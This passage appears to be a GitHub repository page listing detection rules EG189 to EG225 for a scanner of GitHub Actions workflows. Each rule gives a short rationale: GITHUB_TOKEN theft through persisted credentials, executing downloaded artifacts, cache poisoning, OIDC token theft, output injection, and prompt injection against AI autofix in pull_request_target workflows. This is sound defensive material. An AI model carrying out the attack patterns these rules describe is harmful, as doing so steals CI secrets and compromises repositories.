EG189 check_no_checkout_persist_credentials_default actions/checkout has persist-credentials: false

Default persist-credentials: true stores GITHUB_TOKEN in .git/config where subsequent steps can steal it (actions/checkout#485, ArtiPACKED).

source
EG190 check_no_artifact_download_then_execute downloaded artifacts are not executed in run blocks

Executing files from download-artifact creates a trust bridge — attacker-controlled artifact contents achieve code execution (ZipSlip CVE-2024-42471).

source
EG191 check_no_cross_workflow_artifact_download cross-workflow artifact downloads are not used

Downloading artifacts from other workflow runs breaks security boundaries. Forks can upload poisoned artifacts (GHSA-5xr6-xhww-33m4).

source
EG192 check_no_cache_key_from_mutable_file_in_pr_target pull_request_target cache keys do not hash attacker-controlled files

In pull_request_target, hashFiles() hashes the fork's lockfile. A poisoned lockfile controls the cache key, enabling cache poisoning.

source
EG193 check_no_oidc_token_passed_to_untrusted_action OIDC tokens are not exposed to unpinned third-party actions

id-token: write with unpinned third-party actions lets a compromised action steal OIDC tokens and access cloud resources.

source
EG194 check_no_azure_login_with_creds_secret azure/login uses federated identity, not legacy creds secret

The legacy creds: parameter stores a full service principal secret. Federated identity (client-id + tenant-id) uses short-lived OIDC tokens.

source
EG195 check_no_actions_from_archived_repos actions are not from archived/unmaintained repositories

Archived repos receive no security patches and are repojacking targets if transferred.

source
EG196 check_no_action_ref_to_branch_name action refs do not use branch names

Branch refs (main, master, develop) are mutable and can be force-pushed. Pin to commit SHA or immutable tag.

source
EG197 check_no_docker_hub_image_without_digest docker:// action refs use sha256 digest

Docker Hub image tags are mutable. Without @sha256: digest pinning, images can be replaced with malicious versions.

source
EG198 check_no_sudo_in_run_blocks run blocks do not use sudo

sudo enables privilege escalation on runners. On self-hosted runners this can lead to persistent compromise.

source
EG199 check_no_unpinned_apt_get_install apt-get install packages are version-pinned

Unpinned system packages pull whatever the mirror serves, risking supply-chain poisoning and non-reproducible builds.

source
EG200 check_no_chmod_exec_downloaded_files downloaded files are not chmod +x without verification

Download + chmod +x + execute is a common attack pattern for running untrusted binaries on runners.

source
EG201 check_no_runner_tool_cache_writes run blocks do not write to RUNNER_TOOL_CACHE

Poisoning the tool cache plants backdoored binaries that later steps pick up transparently (Cacheract research).

source
EG202 check_no_issue_ops_without_permission_check issue_comment slash commands check author_association

Any public user can leave comments with /deploy or /approve. Without author_association checks, anyone can trigger privileged operations.

source
EG203 check_no_deployment_status_with_secrets deployment_status workflows do not use secrets

deployment_status events run in the context of the commit that created the deployment, which may be from a fork.

source
EG204 check_no_check_suite_with_write_permissions check_suite workflows do not have write permissions

check_suite events can be triggered by forks, similar to pull_request_target. Write permissions expose tokens.

source
EG205 check_no_docker_login_in_run run blocks do not contain docker login

docker login in run blocks risks credential leakage through process listings, shell history, or log output.

source
EG206 check_no_buildx_cache_from_untrusted docker buildx --cache-from does not reference untrusted registries

Build cache from untrusted registries can inject malicious layers into the build.

source
EG207 check_no_secrets_in_matrix_values secrets are not used in strategy.matrix values

Matrix values are logged in the Actions UI and appear in artifact names, violating secret confidentiality.

source
EG208 check_no_secret_in_if_condition secrets are not used in if: conditions

Secret values in if: conditions are not masked and can be observed through execution path analysis.

source
EG209 check_no_git_push_in_pr_workflow pull_request workflows do not contain git push

A compromised PR workflow pushing code can bypass branch protections and inject malicious commits.

source
EG210 check_no_git_merge_in_workflow run blocks do not contain git merge or git rebase

git merge/rebase introduces untrusted code into the working tree after checkout, bypassing safe checkout guarantees.

source
EG211 check_no_workflow_run_without_branch_filter workflow_run triggers have branches: filters

Without branch filters, workflow_run fires for any branch including attacker-controlled fork branches.

source
EG212 check_no_third_party_action_with_contents_write third-party actions are not used in jobs with contents: write

A compromised third-party action with contents: write can push malicious code to the repository.

source
EG213 check_no_environment_url_from_untrusted_context environment.url is not set from untrusted context

Environment URLs render as clickable links in the GitHub UI, enabling phishing via attacker-controlled values.

source
EG214 check_no_copilot_autofix_in_pr_target Copilot/AI actions are not used in pull_request_target workflows

AI-suggested fixes on untrusted PR code can be manipulated via prompt injection in PR descriptions.

source
EG215 check_no_workflow_schedule_and_dispatch_mixed workflows do not mix schedule and workflow_dispatch triggers

Mixed triggers cause confused privilege levels — schedule runs with default branch context, dispatch may not.

source
EG216 check_no_persist_credentials_default actions/checkout explicitly sets persist-credentials: false

The #1 most-discussed Actions security issue. Default persist-credentials: true stores GITHUB_TOKEN in .git/config (actions/checkout#485).

source
EG217 check_no_github_app_private_key_in_workflow GitHub App private keys are not passed to token generation actions

Private keys passed to tibdex/github-app-token or actions/create-github-app-token can be stolen by compromised subsequent steps.

source
EG218 check_no_pr_target_with_label_only_gate pull_request_target does not rely solely on label-based gating

Labels can be added by anyone with triage access. Label-only gates on pull_request_target are trivially bypassable.

source
EG219 check_no_composite_action_post_with_secrets composite action post steps do not access secrets

Post steps execute even if the main step fails, making them ideal for data exfiltration (Cacheract research).

source
EG220 check_no_unquoted_github_output_write GITHUB_OUTPUT writes use safe delimiter patterns

Unquoted writes to GITHUB_OUTPUT can inject additional output parameters via newlines in expression values.

source
EG221 check_no_docker_build_secret_arg_via_env docker build --build-arg does not reference secret env vars

Docker build args are stored in image layers and can be extracted. Secrets passed via env to build-arg leak into the image.

source
EG222 check_no_secrets_in_step_name step name fields do not contain secrets

Step names appear in logs and the Actions UI. Secrets in names are visible to anyone with read access.

source
EG223 check_no_git_fetch_all_refs git fetch does not use broad ref patterns

Broad ref patterns like refs/pull/*/head pull code from other PRs, potentially introducing untrusted code.

source
EG224 check_no_codeql_without_config CodeQL init has config-file or queries parameter

Default CodeQL configuration may miss critical security queries. Custom configs ensure consistent scanning coverage.

source
EG225 check_no_package_install_with_sudo sudo package installs use version pinning

sudo + unpinned package install combines privilege escalation with dependency confusion risk.

source

Back to top

About

GitHub Action that scans GitHub Actions YAMLs for 180+ vulnerabilities, attack paths, and security anti-patterns in less than 10 seconds

Topics

Resources

Stars

Watchers

Forks

Contributors

Languages